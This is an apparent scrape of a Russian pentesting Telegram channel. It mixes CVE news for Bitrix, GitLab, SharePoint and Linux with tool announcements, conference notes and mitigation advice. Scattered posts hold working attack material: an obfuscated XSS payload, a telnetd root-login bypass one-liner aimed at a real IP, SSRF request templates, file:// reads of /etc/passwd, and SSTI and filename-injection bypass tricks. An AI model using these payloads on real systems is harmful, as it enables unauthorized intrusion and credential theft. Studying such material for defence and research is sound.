2328
https://pentestnotes.ru Заметки про пентест, CTF и информационную безопасность https://t.me/github_exploits https://t.me/dbugs1337
Standoff Hacks 🎹
552 отправленных отчета. Почти 8 млн ₽ выплат исследователям. 37 топовых багхантеров
💫 @pentestnotes
CVE-2024-6678 | GitLab: Pipeline Schedule Arbitrary User Trigger
В процессе написания нового ресерча, обнаружил, что для довольно интересной CVE под Gitlab - CVE-2024-6678 (9.9/10 CVSS) по какой-то причине всё ещё нет публичного PoC’a. Пришлось написать его самому 🤷♀️
Теперь делюсь с вами, вдруг кому пригодится.
Суть уязвимости в том, что при определённых условиях злоумышленник может запускать пайплайны от имени любого пользователя. Это даёт возможность атакующему получить доступ к внутренним репозиториям и закрытым проектам, стащить креды и токены, и, как следствие - получить RCE. Уязвимость, кстати, не замечали целых десять лет (уязвимы версии CE/EE с 8.14 до 17.1.7, версии с 17.2 до 17.2.5 и версии с 17.3 до 17.3.2).
Цепочка:
➡️Developer триггерит Pipeline Schedule, созданный Owner/Maintainer
➡️Пайплайн стартует с всеми переменными расписания (DB_PASSWORD, SSH_PRIVATE_KEY, API-токены и т.д.)
➡️Если у атакующего есть push-возможности (Developer обычно имеет), он подменяет .gitlab-ci.yml в незащищённой ветке (develop/staging) - добавляет туда отправку env на свой сервер или реверс-шелл
➡️GitLab Runner исполняет этот пайплайн с полным доступом к секретам и окружению
➡️PoC⬅️
💫 @pentestnotes
🚨Обнаружена Уязвимость в модуле для CMS Bitrix «INTEC:Ядро» от разработчика "INTEC".
BDU пока нет, но судя по оперативной реакции, предположу что уязвимость Критическая.
Я не разработчик и наверное что-то не понимаю в безопасном написании кода, но возможно стоит на админских эндпоинтах использовать админскую проверку prolog_admin_before.php вместо обычной prolog_before.php.
(Bitrix-аутентификация администратора не проверяется. Скрипт контейнера сохраняется в БД и выполняется через eval() при рендере страницы.)
Уязвимый модуль установлен на более чем 1000 ресурсах.
Рекомендуют:
➡️ Восстановить резервную копию сайта от 27.04.2026 или более ранней даты.
➡️ Установить последние обновления (актуальная версия 1.2.30) модуля Intec.Core.
➡️ Обновить систему 1С-Битрикс до последней актуальной версии.
💫 @pentestnotes
Meld-Encrypt: Шифрование файлов и заметок в Obsidian. 👊
Многие специалисты, включая меня, используют Obsidian для ведения своих заметок, в том числе очень даже чувствительных.
И вроде всё хорошо, obsidian удобен, НО! У него до сих пор нет встроенного шифрования и функций безопасности! А существующие плагины не такие классные, как хотелось бы.
Поэтому я сделал форк довольно популярного Obsidian Encrypt и добавил в него функционал, которого лично мне не хватало во время работы.
Что нового по сравнению с оригиналом:
➡️ Появилась поддержка шифрования файлов
➡️ Шифрование всего контента в заметке одним нажатием
➡️ Шифрование директорий
➡️ Удобный просмотр зашифрованного контента
➡️ Улучшенный UI/UX
➡️ Добавлена Русская локализация
➡️ Весь новый функционал также работает и на Android
➡️ Исправлены мелкие недочеты
➡️ Добавлено краткое руководство пользователя
🔒 Для шифрования используется связка PBKDF2 + AES-256-GCM. Главная фишка в том, что заметки всегда будут храниться на диске в зашифрованном виде. Это исключает компрометацию даже при физическом доступе к вашему устройству.
Ссылка на GitHub
💫 @pentestnotes
Наткнулся на, пожалуй, самый объемный гайд по безопасности JWT в рунете.
Автор канала Пингискок ультанул и выпустил цикл из 20 статей на ~25000 слов (это очень много буков)! Где разобрал JWT буквально побайтово🤩
Список статей:
1. Почему JWT сломан by design
2. Анатомия токена
3. alg:none - одна строчка и ты admin
4. Algorithm Confusion - публичный ключ как пароль
5. kid injection - SQLi через заголовок токена
6. jku/x5u/jwk/x5c - весь заголовок это attack surface
7. Брутфорс секретов на GPU - 150 млн HS256/сек
8. Psychic Signatures - нулевая подпись на Java 15-18
9. Криптография JWT для хакеров - ECDSA, RSA-PSS, EdDSA и где ломается математика
10. JWE — зашифрованные токены, Bleichenbacher, Invalid Curve, PBES2 DoS
11. JWT-библиотеки — рейтинг дырявости, Top 5 CVE, fingerprinting по токену
12. JWT в OAuth 2.0 и OIDC — token confusion, cross-service relay, ALBeast, DPoP bypass
13. XSS + JWT — кража токенов из localStorage, sessionStorage, cookies
14. Продвинутые криптоатаки — lattice, side-channels, fault injection
15. Инструменты - jwt_tool, hashcat, Burp JWT Editor
16. Методология
17. Hardcoded secrets — CVE-2025-20188 (CVSS 10.0), 17% JWT CVE за 2024-2026, где искать секреты
18. Что вместо JWT - PASETO, Macaroons, opaque tokens, server-side sessions
19. RFC 8725 - чеклист из 15 правил, который никто не читает
20. Постквантовый JWT - ML-DSA подписи по 2.4 KB, SD-JWT, Harvest Now Decrypt Later
💫 @pentestnotes
Мне тут доложили, что hh.ru вышел в паблик на Standoff Bug Bounty
Интересно, примут ли мой отчёт, если у меня нет 15 лет опыта bug bounty и миллиона сертификатов 🔍
💫 @pentestnotes
Закрытое награждение 25 лучших исследователей Standoff 2025 года
Очень классная локация и сам ивент, спасибо организаторам!👍
💫 @pentestnotes
1C-Bitrix <= 25.100.500 (Translate Module) Remote Code Execution Vulnerability (CVE-2025-67887) 🥤
Исследователь слил RCE PoC под плагин в Битрикс через 3 дня после присвоения CVE, не дождавшись ответа вендора. Патча нет...
Vulnerability discovered by Egidio Romano.
Уязвимые версии:
Версия 25.100.500 и более ранние версии.
Описание уязвимости:
Уязвимость находится в «Translate Module», который позволяет пользователям загружать и распаковывать архивные файлы во временную папку. Однако приложение не проверяет должным образом содержимое этих архивов перед их распаковкой. Злоумышленники могут использовать эту уязвимость для загрузки и выполнения произвольного PHP-кода, включив в архив PHP-файл вместе со специально созданным файлом .htaccess.
Что делать:
1. Проверить в логах наличие обращений к
/bitrix/services/main/ajax.php?action=translate.asset.grabber.extract
и
/bitrix/services/main/ajax.php?action=translate.asset.grabber.apply
2. Проверить директории с файлами на наличие закладок и подозрительных архивов.
3. По возможности ограничить доступ к этим эндпоинтам (проверить привилегии) или временно отключить модуль, ждать патч🤷♀️
CVE-2025-67887
Ps. Битрикс не считает это уязвимостью
💫 @pentestnotes
На сайте ZeroNights уже висит пограмма докладов.
Будут темы по современным техникам взлома для проведения продвинутых кибератак, обнаружение уязвимостей в устройствах и ОС, а также вопросы бинарной эксплуатации.
Программу конференции можно посмотреть здесь
Названия докладов прикольные🍪
➡️ Скользкий мамонт
➡️ Солевые приключения
➡️ Горшочек, не вари! Истории про Web3-ловушки
➡️ Итак... вы украли ноутбук
➡️ Киоск Закрыт? - Не беда! Войдем без ключа.
💫 @pentestnotes
📈 #наработки #defense #offense #web #web3 #malware
Видели историю про BSidesNYC? Выступила с этой статьёй в Нью-Йорке, в колледже уголовного правосудия имени Джона Джея ⚡️
А тот самый доклад Neplox из Токио и Сеула про уязвимости, обнаруженные в известных криптокошельках — ‟Атакуем криптокошельки: свежий взгляд на безопасность браузерных расширений”, но в Москве, на PHDays, видели? 🤔
0️⃣ Level 0:
Перенаправление, Проблема верификации, Подделка источника, Telegram боты
1️⃣ Level 1.0:
TON, NFT, Jetton, Переписанные библиотеки
1️⃣ Level 1.1:
Перерисовка UI, Произвольные кошельки, Имперсонация легитимных кошельков
1️⃣ Level 1.2:
Вызов действий, Отслеживание событий
2️⃣ Level 2:
Local Storage, Компоненты TON Connect, TON Connect Bridge MitM
💻 Продукты: TON Connect, Tonkeeper, MyTonWallet, TON Wallet, Telegram Wallet, XTON Wallet, ...
Коллеги из Securitm делятся опытом проведения Bug Bounty: https://habr.com/ru/companies/securitm/articles/951040/
Читать полностью…
Если вдруг кто-то тоже на KHS, я все 3 дня тут
Обитаю в районе red team зоны, можете попробовать меня поймать
Спонсор этого поста главный ИБ эксперт KHS - Юки
💫 @pentestnotes
Интересные XSS пейлоады подъехали 😊
ا='',ب=!ا+ا,ت=!ب+ا,ث=ا+{},ج=ب[ا++],ح=ب[خ=ا],
د=++خ+ا,ذ=ث[خ+د],ب[ذ+=ث[ا]+(ب.ت+ث)[ا]+ت[د]+ج+ح+ب[خ]+ذ+ج+ث[ا]+ح][ذ](ت[ا]+ت[خ]+ب[د]+ح+ج+"(1)")()甲='',乙=!甲+甲,丙=!乙+甲,丁=甲+{},戊=乙[甲++],己=乙[庚=甲],
辛=++庚+甲,壬=丁[庚+辛],
乙[壬+=丁[甲]+(乙.丙+丁)[甲]+丙[辛]+戊+己+乙[庚]+壬+戊+丁[甲]+己][壬](
丙[甲]+丙[庚]+乙[辛]+己+戊+"('被攻擊了')"
)()![] → false
!![] → true
+[] → 0
[]+[] → "" (пустая строка)
{}+[] и прочее дают строки вроде "[object Object]"
("false"+{})[1] → "a"
🔍 Множественные XSS в плагинах 1С-Битрикс.
Уязвимости снова в модулях esolution. Это конечно уже не RCE, но все равно интересно. Пару раз видел эти плагины на bugbounty. На данный момент у них суммарно около 5000 скачиваний, по данным официального каталога решений сторонних разработчиков Bitrix.
Критичность - 5.3/10 CVSS 3.0 (расшифровка).
Судя по CVSS, это должны быть Reflected XSS без авторизации. Верим.
Уязвимости подвержены плагины:
«Импорт из XML и YML» - (BDU:2025-06217)
«Импорт из Excel» - (BDU:2025-06218)
«Экспорт в Excel» - (BDU:2025-06219)
«Экспорт/Импорт товаров в Excel» - (BDU:2025-06220)
🔗 1. Уведомление ФСТЭК
🔗 2. Уведомление ФСТЭК
💫 @pentestnotes
Регистрация на Standoff Talks открыта 😏
Без лишних слов — переходи на сайт. Там уже готова программа для комьюнити на 18 и 19 июня.
Тебя ждут доклады профи (спасибо всем, кто их прислал), мастер-классы, конкурсы и, конечно же, возможность увидеть кибербитву своими глазами ⚱️
Будет насыщенно, захватывающе и очень по-летнему!
Поторопись, чтобы забрать проходку себе: места заканчиваются быстрее, чем пиво на афтепати 🥰
➡️ Зарегистрироваться на главную кибертусовку лета 👈
P. S. Кибербитва гремит все четыре дня, но первые два — время бизнес-программы. А вот 18–19 июня — основной движ. Пригоняй 🔥
⚠️Снова Крит на Bitrix Landing
Помните знаменитый RCE Landing под Bitrix? Ну это та критическая уязвимость, которая была на более чем 100 000 российских ресурсах и PoC под которую до сих пор просят в профильных чатах...
Так вот. Теперь придётся просить 2 PoCа)
Local file inclusion при редактировании лендинга связана с неверным управлением именами файлов для PHP-функций include или require. Эксплуатация уязвимости может позволить нарушителю, действующему удалённо, выполнить произвольный код
Уязвимы все версии landing до 25.1100.100
❕CVSS 9.9/10
BDU:2026-05965
💫 @pentestnotes
CVE-2026-31431
29 апреля была опубликована информация об уязвимости Copy Fail в ядре Linux с уровнем опасности 7.8 CVSS. Уязвимость позволяет локальному пользователю повысить права до root и затрагивает все Linux-дистрибутивы. PoC можно поискать тут.
Но интересно другое. Сегодня хостинг провайдеры стали массово рассылать письма счастья, что вообще-то все ваши VPS/VDS уязвимы и патча нет.
Примечательно, что начало рассылки совпало с взломом одного (все совпадения случайны) регионального хостинг провайдера, который предоставлял доступ всем клиентам к одной тачке с непривилегированными учетками формата user12345. Ну и кто-то из таких юзеров догадался подняться до Рута :)
Так что будьте бдительны и проверьте свои тачки! Для временного фикса нужно отключить автозагрузку модуля algif_aead:
sudo tee -a /etc/modprobe.d/blacklist-algif_aead.conf <<’EOF’
# CVE-2026-31431
blacklist algif_aead
install algif_aead /bin/false
EOF
sudo sh -c "lsmod | grep algif_aead -q && modprobe -r algif_aead || reboot"
XSSNow - Крутой генератор XSS пейлоадов и одновременно с этим еще и XSS Payload Database🍪
Предлагает порядка нескольких тысяч готовых XSS‑payload’ов, разбитых по контекстам и вариантам инъекций (DOM‑based, reflected, stored, CSP‑bypass и т.п.).
🟣Умеет строить контекстно‑зависимые полезные нагрузки
🟣Можно точечно настраивать свои payload'ы
🟣Поддерживает различные WAF (bypass)
🟣Использует различные кодировки и трансформации
🟣Позиционируется как community продукт. Можно добавлять свои нагрузки
Github Репозиторий / Generator / Database
💫 @pentestnotes
DeBix (Деобфускатор Bitrix)
🔍 Вы знали, что модули Bitrix, поставляемые через Marketplace в демо-режиме, проходят через автоматический обфускатор? (см. Фото)
Встроенный обфускатор переименовывает параметры функций и члены классов в файлах по типу include.php и install.php, что зачастую приводит к ошибкам в работе легитимного кода. Помимо этого, похожий обфусцировонный код встречается и при разборе инцидентов.
Чтобы не тратить часы на ручной разбор base64_decode и переменных вида $__254446073, я собрал DeBix (Deobfuscator Bitrix) — утилиту для восстановления читаемости кода.
Репозиторий проекта:
https://github.com/FaLLenSkiLL1/DeBix
💫 @pentestnotes
взломать интернет бесплатно 2026
USER="-f root" telnet -a 104.16.149.244 23
/usr/bin/login " -p -h %h %?u{-f %u}{%U}"login есть флаг -f, нужный для "этот юзер уже был аутентифицирован где-то ещё, не надо его проверять снова"$USER с целевым логином$USER переменной никак не санитизируетсяUSER="-f root" telnet -a 104.16.149.244 23
$USER="-f root" и включаем автологин -a$USER не проверяется, но учитывается сервером$USER подставляется в шаблон логина вместо {%U}/usr/bin/login -p -f rootlogin скипает аутентификацию из-за -fты root
———
FROM debian:11-slim
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y --no-install-recommends \
inetutils-telnetd=2:2.0-1+deb11u2 \
telnet && \
rm -rf /var/lib/apt/lists/*
RUN useradd user1 && \
sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf
COPY docker-entrypoint.sh /docker-entrypoint.sh
EXPOSE 23
CMD ["/usr/sbin/inetutils-inetd", "-d"]
Коллега по цеху @ArroizX сделал пост по уязвимостям в Битрикс😊
Почитать можно тут:
/channel/ArroizX_Notes/90
Авторизированная SSRF в Битрикс24 через интеграцию с MS Sharepoint
GET /bitrix/components/bitrix/sharepoint.link/ajax.php?mode=test&sp_server=http://collaborator&sp_user=&sp_pass=&sessid=... HTTP/1.1
Host: bitrix24
Cookie: ...
Bx-Ajax: true
POST /bitrix/tools/sender_sub_confirm.php HTTP/1.1
Host: bitrix
Cookie: ...
Content-Type: application/x-www-form-urlencoded
Content-Length: x
sessid=...&sender_subscription=add&SENDER_SUBSCRIBE_EMAIL=some@some.com
🎇 сводка по react2shell безумию
events* китайские группировки сориентировались за 30 часов и начали раскидывать майнеры монеро и LD_PRELOAD руткиты* добрые (😈) хакеры пробивают таргеты и затем патчат их, устраивая дефейс с "сервер уязвим, фиксаните пж"* Vercel вышли на h1 с программой по обходам их WAF. платят 50к$ за обход react2shell. уже получили репортов на 750к$
facts* легче обновиться, чем защищаться waf'ом* все сдают react2shell в бб и надеются на деньги* багхантеры написали браузерное расширение на детект* nuclei добавили смешные правила на детект
(кто пропустит сложение чисел в powershell?)
vuln* в эксплойтие, для массовых детектов, в _prefix используют js функции вместо child_process
(curl не всегда есть в контейнере, но fetch() всегда есть в node runtime)* react2shell не оставляет следов на диске, от чего все жалуются на сложность детекта* уязвим не только next.js, но и прочее во влиянии react rsc: react router, vite rsc, parcel rsc, waku, redwood sdk
слушай, вОЛьТаЖ, а что почитать? не хочу вникать в килотонны текста
file://localhost/etc/passwd
что вернёт?
Да, вернётся /etc/passwd.
В RFC 8089, верный формат протокола описан как file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path>
Причём, в <host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS.
питон пок
from urllib.request import urlopen
content = urlopen(
"file://yoogle.com/etc/passwd", timeout=2,
).read().decode('utf-8')
print(content)
Представим, ты нашёл SSTI, но WAF блокирует символ$
Что делать?
\N{CHARACTER NAME}. \N{dollar sign}{7*7} == ${7*7} == 49Content-Disposition есть параметр filename?
# RFC 6266
filename="image.png"
# RFC 8187
filename*=UTF8''image%0a.png
filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через % %0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется. ⚀ разбор CVE из-за проблем синтаксиса [^]
⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^]
⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]
1. обход фильтров SSTI [^]
2. иной подход к протоколу file:// [^]
3. проломparse_urlв PHP [^]
🚨Участились попытки эксплуатации новой критической уязвимости 1С Предприятия - BDU:2025-07182 (Bypass авторизации).
Уязвимость технологической платформы «1С:Предприятие 8» связана с недостатками процедуры авторизации. Эксплуатация уязвимости, может позволить нарушителю, действующему удаленно, получить несанкционированный доступ к системе от имени произвольного пользователя.
CVSS 3.0: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS 3.1 8.8/10
BDU:2025-07182
Рекомендую как можно быстрее обновиться.
💫 @pentestnotes
Подготовил для вас подробное руководство по тестированию на проникновение Outlook Web Access (OWA). 😈
➡️ В статье я разобрал все основные атаки и уязвимости OWA. Собрал и структурировал самое полезное в одном месте.
➡️ Также материал идеально подойдет для тех, кто все еще путает между собой OWA, Outlook и MS Exchange :)
Даже если вы раньше не сталкивались с почтовыми сервисами Microsoft, после прочтения смело можете бежать проверять их на безопасность. 🥤
Ссылка на статью
💫 @pentestnotes | #pentest #OWA #Exchange
Уже меньше, чем через 2 часа начнется 9 сезон HackTheBox, в этот раз с довольно забавным названием "Gacha".
Сезон будет состоять из 13 машин различной сложности, включая эксплуатацию уязвимостей как в Linux системах, так и Windows. И продлится 13 недель. (По 1 неделе на машину).
Те, кто решат все сезонные тачки, могут рассчитывать на следующие призы:
➡️ Holo Achievement Badge
➡️ $25 Discount Code for HTB Labs
➡️ 250 Cubes on HTB Academy
➡️ 50% HTB Swag Discount
Такой бейдж, кстати, видел как многие размещают в свои резюме, не так то просто получить Holo.
Я тоже планирую поучаствовать, ведь машины там действительно интересные, но в этот раз без написания райтапов, вместо них предлагаю всем, кто захочет порешать тачки, заходить в дискорд сервер TB, в голосовой канал HackTheBox Season 9.
💫 @pentestnotes
🚀 На ZeroNights 2025 всё еще открыт Call for Papers!
Одна из главных конференций по информационной безопасности в России снова в деле 😊.
Ждали ее аж с 2021 года
Рассматривают доклады по направлениям: Offensive и AppSec/SecOps.
➡️ Подробности и форма подачи заявки — на сайте ZeroNights
Помню, как раньше все самые топовые доклады были именно здесь. Надеюсь, традиция продолжится
💫 @pentestnotes
CVE-2025-53770 Microsoft SharePoint RCE PoC
На локальных (on‑prem) серверах Microsoft SharePoint обнаружена критическая RCE уязвимость CVE‑2025‑53770, позволяющая неавторизованному злоумышленнику запускать произвольный код. Снова кстати небезопасная десереализация.. Какая уже по счету?)
Эксплоит загружает вредоносный ASPX‑файл spinstall0.aspx, который извлекает MachineKey — валидный ключ для __VIEWSTATE
CVSS:3.1 9.8/10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:W/RC:C
FOFA: Link
Netlas: Link
💫 @pentestnotes
@assume_birch 10.07.25
Очень понравились доклады "Impacket Undercover" и "Через бухгалтера к DA, или за что злоумышленники полюбили 1С". Даже захотелось после них проверить пару теорий.
И нетворкинг как всегда на уровне, спасибо касперскому за митап)
💫 @pentestnotes